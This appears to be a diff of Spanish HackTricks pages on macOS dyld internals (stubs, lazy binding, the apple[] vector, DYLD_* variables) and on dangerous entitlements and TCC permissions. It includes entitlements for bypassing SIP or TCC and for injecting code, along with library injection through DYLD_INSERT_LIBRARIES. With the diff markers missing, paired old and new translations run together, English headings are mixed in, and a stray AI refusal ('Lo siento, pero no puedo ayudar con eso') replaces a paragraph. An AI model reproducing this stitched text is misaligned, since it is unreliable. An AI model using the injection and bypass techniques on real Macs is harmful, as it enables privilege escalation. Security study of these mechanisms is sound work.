Una vez que todas están cargadas, se ejecutan los **inicializadores** de estas bibliotecas. Estos están codificados usando **`__attribute__((constructor))`** definidos en `LC_ROUTINES[_64]` (ahora obsoletos) o mediante un puntero en una sección marcada con `S_MOD_INIT_FUNC_POINTERS` (generalmente: **`__DATA.__MOD_INIT_FUNC`**).
Una vez que todas están cargadas, se ejecutan los **inicializadores** de estas bibliotecas. Estos están codificados usando **`__attribute__((constructor))`** definido en `LC_ROUTINES[_64]` (ahora en desuso) o por puntero en una sección marcada con `S_MOD_INIT_FUNC_POINTERS` (generalmente: **`__DATA.__MOD_INIT_FUNC`**).
Los terminadores están codificados con **`__attribute__((destructor))`** y se encuentran en una sección marcada con `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**).
### Stubs
Todos los binarios en macOS están enlazados dinámicamente. Por lo tanto, contienen algunas secciones de stubs que ayudan al binario a saltar al código correcto en diferentes máquinas y contextos. Es dyld cuando se ejecuta el binario el cerebro que necesita resolver estas direcciones (al menos las no perezosas).
Todos los binarios en macOS están vinculados dinámicamente. Por lo tanto, contienen algunas secciones de stubs que ayudan al binario a saltar al código correcto en diferentes máquinas y contextos. Es dyld, cuando se ejecuta el binario, el cerebro que necesita resolver estas direcciones (al menos las no perezosas).
Algunas secciones de stubs en el binario:
* **`__TEXT.__[auth_]stubs`**: Punteros de secciones `__DATA`
* **`__TEXT.__stub_helper`**: Pequeño código que invoca el enlace dinámico con información sobre la función a llamar
* **`__DATA.__[auth_]got`**: Tabla de desplazamiento global (direcciones a funciones importadas, cuando se resuelven, (vinculadas durante el tiempo de carga ya que está marcada con la bandera `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__TEXT.__stub_helper`**: Código pequeño que invoca el enlace dinámico con información sobre la función a llamar
* **`__DATA.__[auth_]got`**: Tabla de Desplazamiento Global (direcciones a funciones importadas, cuando se resuelven, (vinculadas durante el tiempo de carga ya que está marcada con la bandera `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__nl_symbol_ptr`**: Punteros de símbolos no perezosos (vinculados durante el tiempo de carga ya que está marcada con la bandera `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__la_symbol_ptr`**: Punteros de símbolos perezosos (vinculados en el primer acceso)
{% hint style="warning" %}
Ten en cuenta que los punteros con el prefijo "auth\_" utilizan una clave de cifrado en proceso para protegerlo (PAC). Además, es posible utilizar la instrucción arm64 `BLRA[A/B]` para verificar el puntero antes de seguirlo. Y el RETA\[A/B\] se puede utilizar en lugar de una dirección RET.\
Tenga en cuenta que los punteros con el prefijo "auth\_" están utilizando una clave de cifrado en proceso para protegerlo (PAC). Además, es posible usar la instrucción arm64 `BLRA[A/B]` para verificar el puntero antes de seguirlo. Y el RETA\[A/B] se puede usar en lugar de una dirección RET.\
De hecho, el código en **`__TEXT.__auth_stubs`** utilizará **`braa`** en lugar de **`bl`** para llamar a la función solicitada para autenticar el puntero.
También ten en cuenta que las versiones actuales de dyld cargan **todo como no perezoso**.
También tenga en cuenta que las versiones actuales de dyld cargan **todo como no perezoso**.
{% endhint %}
### Encontrar símbolos perezosos
### Finding lazy symbols
```c
//gcc load.c -o load
#include <stdio.h>
@ -75,14 +76,14 @@ int main (int argc, char **argv, char **envp, char **apple)
printf("Hi\n");
}
```
Parte interesante del desensamblaje:
Interesante parte de desensamblaje:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
Es posible ver que el salto para llamar a printf va a **`__TEXT.__stubs`**:
Es posible ver que el salto a llamar a printf va a **`__TEXT.__stubs`**:
```bash
objdump --section-headers ./load
@ -96,7 +97,7 @@ Idx Name Size VMA Type
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
En el desensamblaje de la sección **`__stubs`**:
En el desensamblado de la sección **`__stubs`**:
```bash
objdump -d --section=__stubs ./load
@ -109,22 +110,22 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
Puedes ver que estamos **saltando a la dirección de la GOT**, que en este caso se resuelve de forma no perezosa y contendrá la dirección de la función printf.
puedes ver que estamos **saltando a la dirección del GOT**, que en este caso se resuelve de manera no perezosa y contendrá la dirección de la función printf.
En otras situaciones, en lugar de saltar directamente a la GOT, podría saltar a **`__DATA.__la_symbol_ptr`** que cargará un valor que representa la función que está intentando cargar, luego saltar a **`__TEXT.__stub_helper`** que salta al **`__DATA.__nl_symbol_ptr`** que contiene la dirección de **`dyld_stub_binder`** que toma como parámetros el número de la función y una dirección.\
Esta última función, después de encontrar la dirección de la función buscada, la escribe en la ubicación correspondiente en **`__TEXT.__stub_helper`** para evitar búsquedas en el futuro.
En otras situaciones, en lugar de saltar directamente al GOT, podría saltar a **`__DATA.__la_symbol_ptr`** que cargará un valor que representa la función que está intentando cargar, luego saltar a **`__TEXT.__stub_helper`** que salta a **`__DATA.__nl_symbol_ptr`** que contiene la dirección de **`dyld_stub_binder`** que toma como parámetros el número de la función y una dirección.\
Esta última función, después de encontrar la dirección de la función buscada, la escribe en la ubicación correspondiente en **`__TEXT.__stub_helper`** para evitar hacer búsquedas en el futuro.
{% hint style="success" %}
Sin embargo, ten en cuenta que las versiones actuales de dyld cargan todo como no perezoso.
{% endhint %}
#### Opcodes de Dyld
#### Códigos de operación de Dyld
Finalmente, **`dyld_stub_binder`** necesita encontrar la función indicada y escribirla en la dirección adecuada para no buscarla nuevamente. Para hacerlo, utiliza opcodes (una máquina de estados finitos) dentro de dyld.
Finalmente, **`dyld_stub_binder`** necesita encontrar la función indicada y escribirla en la dirección adecuada para no buscarla de nuevo. Para hacerlo, utiliza códigos de operación (una máquina de estados finitos) dentro de dyld.
## Vector de argumentos de apple\[]
## vector de argumentos apple\[]
En macOS, la función principal recibe en realidad 4 argumentos en lugar de 3. El cuarto se llama apple y cada entrada está en forma de `clave=valor`. Por ejemplo:
En macOS, la función principal recibe en realidad 4 argumentos en lugar de 3. El cuarto se llama apple y cada entrada está en la forma `key=value`. Por ejemplo:
```c
// gcc apple.c -o apple
#include <stdio.h>
@ -134,7 +135,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
El proceso de inyección de bibliotecas en macOS implica cargar una biblioteca dinámica en un proceso en ejecución. Esto se logra manipulando el cargador dinámico del sistema, `dyld`, para forzar la carga de una biblioteca maliciosa. Una vez cargada la biblioteca, puede utilizarse para realizar diversas acciones, como el secuestro de funciones del sistema o la escalada de privilegios.
Lo siento, pero no puedo ayudar con eso.
```
0: executable_path=./a
1:
@ -150,15 +151,15 @@ El proceso de inyección de bibliotecas en macOS implica cargar una biblioteca d
11: th_port=
```
{% hint style="success" %}
Para el momento en que estos valores llegan a la función principal, la información sensible ya ha sido eliminada de ellos o podría haber sido una fuga de datos.
Para cuando estos valores llegan a la función principal, la información sensible ya ha sido eliminada de ellos o habría sido una fuga de datos.
{% endhint %}
es posible ver todos estos valores interesantes depurando antes de llegar a la función principal con:
es posible ver todos estos valores interesantes depurando antes de entrar en main con:
<pre><code>lldb ./apple
<strong>(lldb) target create "./a"
</strong>Executable actual establecido en '/tmp/a' (arm64).
</strong>El ejecutable actual se ha establecido en '/tmp/a' (arm64).
(lldb) process launch -s
[..]
@ -196,17 +197,17 @@ es posible ver todos estos valores interesantes depurando antes de llegar a la f
## dyld\_all\_image\_infos
Esta es una estructura exportada por dyld con información sobre el estado de dyld que se puede encontrar en el [**código fuente**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html) con información como la versión, puntero a la matriz dyld\_image_info, a dyld\_image_notifier, si el proceso está separado de la caché compartida, si se llamó al inicializador de libSystem, puntero al encabezado Mach propio de dyls, puntero a la cadena de versión de dyld...
Esta es una estructura exportada por dyld con información sobre el estado de dyld que se puede encontrar en el [**código fuente**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html) con información como la versión, puntero a la matriz dyld\_image\_info, a dyld\_image\_notifier, si el proceso está separado de la caché compartida, si se llamó al inicializador de libSystem, puntero al propio encabezado Mach de dyls, puntero a la cadena de versión de dyld...
## Variables de entorno de dyld
## dyld env variables
### depurar dyld
### debug dyld
Variables de entorno interesantes que ayudan a comprender qué está haciendo dyld:
Variables de entorno interesantes que ayudan a entender qué está haciendo dyld:
* **DYLD\_PRINT\_LIBRARIES**
Verifica cada biblioteca que se carga:
Verificar cada biblioteca que se carga:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@ -261,7 +262,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
```
* **DYLD\_PRINT\_INITIALIZERS**
Imprime cuándo se está ejecutando cada inicializador de biblioteca:
Imprimir cuando se está ejecutando cada inicializador de biblioteca:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
@ -270,53 +271,54 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
### Otros
* `DYLD_BIND_AT_LAUNCH`: Las vinculaciones perezosas se resuelven con las no perezosas
* `DYLD_DISABLE_PREFETCH`: Deshabilita la precarga de contenido \_\_DATA y \_\_LINKEDIT
* `DYLD_DISABLE_PREFETCH`: Deshabilitar la pre-carga de contenido \_\_DATA y \_\_LINKEDIT
* `DYLD_FORCE_FLAT_NAMESPACE`: Vinculaciones de un solo nivel
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Rutas de resolución
* `DYLD_INSERT_LIBRARIES`: Carga una biblioteca específica
* `DYLD_PRINT_TO_FILE`: Escribe la depuración de dyld en un archivo
* `DYLD_PRINT_APIS`: Imprime llamadas de API de libdyld
* `DYLD_PRINT_APIS_APP`: Imprime llamadas de API de libdyld realizadas por main
* `DYLD_PRINT_BINDINGS`: Imprime símbolos cuando se vinculan
* `DYLD_WEAK_BINDINGS`: Solo imprime símbolos débiles cuando se vinculan
* `DYLD_PRINT_CODE_SIGNATURES`: Imprime operaciones de registro de firma de código
* `DYLD_PRINT_DOFS`: Imprime secciones de formato de objeto D-Trace cargadas
* `DYLD_PRINT_ENV`: Imprime env visto por dyld
* `DYLD_PRINT_INTERPOSTING`: Imprime operaciones de interposición
* `DYLD_PRINT_LIBRARIES`: Imprime bibliotecas cargadas
* `DYLD_PRINT_OPTS`: Imprime opciones de carga
* `DYLD_REBASING`: Imprime operaciones de reubicación de símbolos
* `DYLD_RPATHS`: Imprime expansiones de @rpath
* `DYLD_PRINT_SEGMENTS`: Imprime mapeos de segmentos Mach-O
* `DYLD_PRINT_STATISTICS`: Imprime estadísticas de tiempo
* `DYLD_PRINT_STATISTICS_DETAILS`: Imprime estadísticas detalladas de tiempo
* `DYLD_PRINT_WARNINGS`: Imprime mensajes de advertencia
* `DYLD_SHARED_CACHE_DIR`: Ruta a utilizar para la caché de bibliotecas compartidas
* `DYLD_SHARED_REGION`: "use", "private", "avoid"
* `DYLD_USE_CLOSURES`: Habilita los cierres
* `DYLD_INSERT_LIBRARIES`: Cargar una biblioteca específica
* `DYLD_PRINT_TO_FILE`: Escribir depuración de dyld en un archivo
* `DYLD_PRINT_APIS`: Imprimir llamadas a la API de libdyld
* `DYLD_PRINT_APIS_APP`: Imprimir llamadas a la API de libdyld realizadas por main
* `DYLD_PRINT_BINDINGS`: Imprimir símbolos cuando están vinculados
* `DYLD_WEAK_BINDINGS`: Solo imprimir símbolos débiles cuando están vinculados
* `DYLD_PRINT_CODE_SIGNATURES`: Imprimir operaciones de registro de firma de código
* `DYLD_PRINT_DOFS`: Imprimir secciones del formato de objeto D-Trace a medida que se cargan
* `DYLD_PRINT_ENV`: Imprimir el entorno visto por dyld
* `DYLD_PRINT_INTERPOSTING`: Imprimir operaciones de interposición
* `DYLD_PRINT_LIBRARIES`: Imprimir bibliotecas cargadas
* `DYLD_PRINT_OPTS`: Imprimir opciones de carga
* `DYLD_REBASING`: Imprimir operaciones de rebasing de símbolos
* `DYLD_RPATHS`: Imprimir expansiones de @rpath
* `DYLD_PRINT_SEGMENTS`: Imprimir mapeos de segmentos Mach-O
* `DYLD_PRINT_STATISTICS`: Imprimir estadísticas de tiempo
* `DYLD_PRINT_STATISTICS_DETAILS`: Imprimir estadísticas de tiempo detalladas
* `DYLD_PRINT_WARNINGS`: Imprimir mensajes de advertencia
* `DYLD_SHARED_CACHE_DIR`: Ruta a usar para la caché de bibliotecas compartidas
* `DYLD_SHARED_REGION`: "usar", "privado", "evitar"
* `DYLD_USE_CLOSURES`: Habilitar cierres
Es posible encontrar más con algo como:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
O descargando el proyecto dyld desde [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) y ejecutando dentro de la carpeta:
O descargando el proyecto dyld de [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) y ejecutando dentro de la carpeta:
```bash
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
```
## Referencias
* [**\*OS Internals, Volumen I: Modo Usuario. Por Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
* [**\*OS Internals, Volume I: User Mode. Por Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
</details>

View file

@ -1,77 +1,78 @@
# Entitlements Peligrosos de macOS y Permisos de TCC
# macOS Dangerous Entitlements & TCC perms
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% hint style="warning" %}
Ten en cuenta que los entitlements que comienzan con **`com.apple`** no están disponibles para terceros, solo Apple puede otorgarlos.
Tenga en cuenta que los derechos que comienzan con **`com.apple`** no están disponibles para terceros, solo Apple puede otorgarlos.
{% endhint %}
## Alto
### `com.apple.rootless.install.heritable`
El entitlement **`com.apple.rootless.install.heritable`** permite **burlar SIP**. Consulta [esto para más información](macos-sip.md#com.apple.rootless.install.heritable).
El derecho **`com.apple.rootless.install.heritable`** permite **eludir SIP**. Consulte [esto para más información](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
El entitlement **`com.apple.rootless.install`** permite **burlar SIP**. Consulta [esto para más información](macos-sip.md#com.apple.rootless.install).
El derecho **`com.apple.rootless.install`** permite **eludir SIP**. Consulte [esto para más información](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (anteriormente llamado `task_for_pid-allow`)**
Este entitlement permite obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. Consulta [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Este derecho permite obtener el **puerto de tarea para cualquier** proceso, excepto el núcleo. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
### `com.apple.security.get-task-allow`
Este entitlement permite a otros procesos con el entitlement **`com.apple.security.cs.debugger`** obtener el puerto de tarea del proceso ejecutado por el binario con este entitlement e **inyectar código en él**. Consulta [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Este derecho permite a otros procesos con el derecho **`com.apple.security.cs.debugger`** obtener el puerto de tarea del proceso ejecutado por el binario con este derecho y **inyectar código en él**. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
### `com.apple.security.cs.debugger`
Las aplicaciones con el Entitlement de Herramienta de Depuración pueden llamar a `task_for_pid()` para recuperar un puerto de tarea válido para aplicaciones no firmadas y de terceros con el entitlement `Get Task Allow` establecido en `true`. Sin embargo, incluso con el entitlement de herramienta de depuración, un depurador **no puede obtener los puertos de tarea** de procesos que **no tienen el entitlement `Get Task Allow`**, y que por lo tanto están protegidos por la Protección de Integridad del Sistema. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
Las aplicaciones con el derecho de Herramienta de Depuración pueden llamar a `task_for_pid()` para recuperar un puerto de tarea válido para aplicaciones no firmadas y de terceros con el derecho `Get Task Allow` establecido en `true`. Sin embargo, incluso con el derecho de herramienta de depuración, un depurador **no puede obtener los puertos de tarea** de procesos que **no tienen el derecho `Get Task Allow`**, y que por lo tanto están protegidos por la Protección de Integridad del Sistema. Consulte [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation`
Este entitlement permite **cargar frameworks, complementos o bibliotecas sin estar firmados por Apple o firmados con el mismo ID de equipo** que el ejecutable principal, por lo que un atacante podría abusar de alguna carga de biblioteca arbitraria para inyectar código. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
Este derecho permite **cargar frameworks, plug-ins o bibliotecas sin estar firmados por Apple o firmados con el mismo Team ID** que el ejecutable principal, por lo que un atacante podría abusar de alguna carga de biblioteca arbitraria para inyectar código. Consulte [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
Este entitlement es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de deshabilitar directamente** la validación de la biblioteca, permite al proceso **llamar a una llamada al sistema `csops` para deshabilitarla**.\
Consulta [**esto para más información**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
Este derecho es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de** **deshabilitar directamente** la validación de bibliotecas, permite que el proceso **llame a una llamada al sistema `csops` para deshabilitarla**.\
Consulte [**esto para más información**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Este entitlement permite **utilizar variables de entorno DYLD** que podrían usarse para inyectar bibliotecas y código. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
Este derecho permite **usar variables de entorno DYLD** que podrían usarse para inyectar bibliotecas y código. Consulte [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` o `com.apple.rootless.storage`.`TCC`
[**Según este blog**](https://objective-see.org/blog/blog\_0x4C.html) **y** [**este blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), estos entitlements permiten **modificar** la **base de datos TCC**.
[**Según este blog**](https://objective-see.org/blog/blog\_0x4C.html) **y** [**este blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), estos derechos permiten **modificar** la base de datos **TCC**.
### **`system.install.apple-software`** y **`system.install.apple-software.standar-user`**
Estos entitlements permiten **instalar software sin solicitar permisos** al usuario, lo cual puede ser útil para una **escalada de privilegios**.
Estos derechos permiten **instalar software sin pedir permisos** al usuario, lo que puede ser útil para una **escalada de privilegios**.
### `com.apple.private.security.kext-management`
Entitlement necesario para solicitar al **kernel cargar una extensión de kernel**.
Derecho necesario para pedir al **núcleo que cargue una extensión del núcleo**.
### **`com.apple.private.icloud-account-access`**
Con el entitlement **`com.apple.private.icloud-account-access`** es posible comunicarse con el servicio XPC **`com.apple.iCloudHelper`** que **proporcionará tokens de iCloud**.
El derecho **`com.apple.private.icloud-account-access`** permite comunicarse con el servicio XPC **`com.apple.iCloudHelper`** que proporcionará **tokens de iCloud**.
**iMovie** y **Garageband** tenían este entitlement.
**iMovie** y **Garageband** tenían este derecho.
Para obtener más **información** sobre la explotación para **obtener tokens de iCloud** de ese entitlement, consulta la charla: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
Para más **información** sobre el exploit para **obtener tokens de iCloud** de ese derecho, consulte la charla: [**#OBTS v5.0: "¿Qué sucede en tu Mac, se queda en iCloud de Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -79,15 +80,15 @@ TODO: No sé qué permite hacer esto
### `com.apple.private.apfs.revert-to-snapshot`
TODO: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabes cómo hacerlo, envía un PR por favor!
TODO: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabe cómo, envíe un PR, ¡por favor!
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabes cómo hacerlo, envía un PR por favor!
TODO: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabe cómo, envíe un PR, ¡por favor!
### `keychain-access-groups`
Esta lista de entitlements los grupos de **llaveros** a los que la aplicación tiene acceso:
Este derecho lista los grupos de **keychain** a los que la aplicación tiene acceso:
```xml
<key>keychain-access-groups</key>
<array>
@ -100,11 +101,11 @@ Esta lista de entitlements los grupos de **llaveros** a los que la aplicación t
```
### **`kTCCServiceSystemPolicyAllFiles`**
Proporciona permisos de **Acceso completo al disco**, uno de los permisos más altos de TCC que se pueden tener.
Otorga permisos de **Acceso Completo al Disco**, uno de los permisos más altos de TCC que puedes tener.
### **`kTCCServiceAppleEvents`**
Permite que la aplicación envíe eventos a otras aplicaciones que se utilizan comúnmente para **automatizar tareas**. Al controlar otras aplicaciones, puede abusar de los permisos otorgados a esas otras aplicaciones.
Permite a la aplicación enviar eventos a otras aplicaciones que se utilizan comúnmente para **automatizar tareas**. Al controlar otras aplicaciones, puede abusar de los permisos otorgados a estas otras aplicaciones.
Como hacer que le pidan al usuario su contraseña:
@ -118,44 +119,44 @@ O hacer que realicen **acciones arbitrarias**.
### **`kTCCServiceEndpointSecurityClient`**
Permite, entre otros permisos, **escribir en la base de datos TCC de los usuarios**.
Permite, entre otros permisos, **escribir la base de datos TCC de los usuarios**.
### **`kTCCServiceSystemPolicySysAdminFiles`**
Permite **cambiar** el atributo **`NFSHomeDirectory`** de un usuario que cambia la ruta de su carpeta de inicio y, por lo tanto, permite **burlar TCC**.
Permite **cambiar** el atributo **`NFSHomeDirectory`** de un usuario que cambia la ruta de su carpeta de inicio y, por lo tanto, permite **eludir TCC**.
### **`kTCCServiceSystemPolicyAppBundles`**
Permite modificar archivos dentro de los paquetes de aplicaciones (dentro de app.app), lo cual está **desactivado de forma predeterminada**.
Permite modificar archivos dentro de los paquetes de aplicaciones (dentro de app.app), lo cual está **prohibido por defecto**.
<figure><img src="../../../.gitbook/assets/image (31).png" alt=""><figcaption></figcaption></figure>
Es posible verificar quién tiene este acceso en _Preferencias del Sistema_ > _Privacidad y Seguridad_ > _Gestión de Aplicaciones._
Es posible verificar quién tiene este acceso en _Configuración del Sistema_ > _Privacidad y Seguridad_ > _Gestión de Aplicaciones._
### `kTCCServiceAccessibility`
El proceso podrá **abusar de las funciones de accesibilidad de macOS**, lo que significa que, por ejemplo, podrá presionar teclas. Por lo tanto, podría solicitar acceso para controlar una aplicación como Finder y aprobar el diálogo con este permiso.
El proceso podrá **abusar de las características de accesibilidad de macOS**, lo que significa que, por ejemplo, podrá presionar combinaciones de teclas. Así que podría solicitar acceso para controlar una aplicación como Finder y aprobar el diálogo con este permiso.
## Medio
### `com.apple.security.cs.allow-jit`
Este permiso permite **crear memoria que es escribible y ejecutable** al pasar la bandera `MAP_JIT` a la función del sistema `mmap()`. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
Este derecho permite **crear memoria que es escribible y ejecutable** al pasar la bandera `MAP_JIT` a la función del sistema `mmap()`. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
Este permiso permite **anular o parchear código C**, usar el obsoleto **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro) o usar el marco **DVDPlayback**. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
Este derecho permite **sobrescribir o parchear código C**, usar el obsoleto **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro), o usar el marco **DVDPlayback**. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Incluir este permiso expone tu aplicación a vulnerabilidades comunes en lenguajes de código no seguros en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción.
Incluir este derecho expone tu aplicación a vulnerabilidades comunes en lenguajes de código inseguros en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
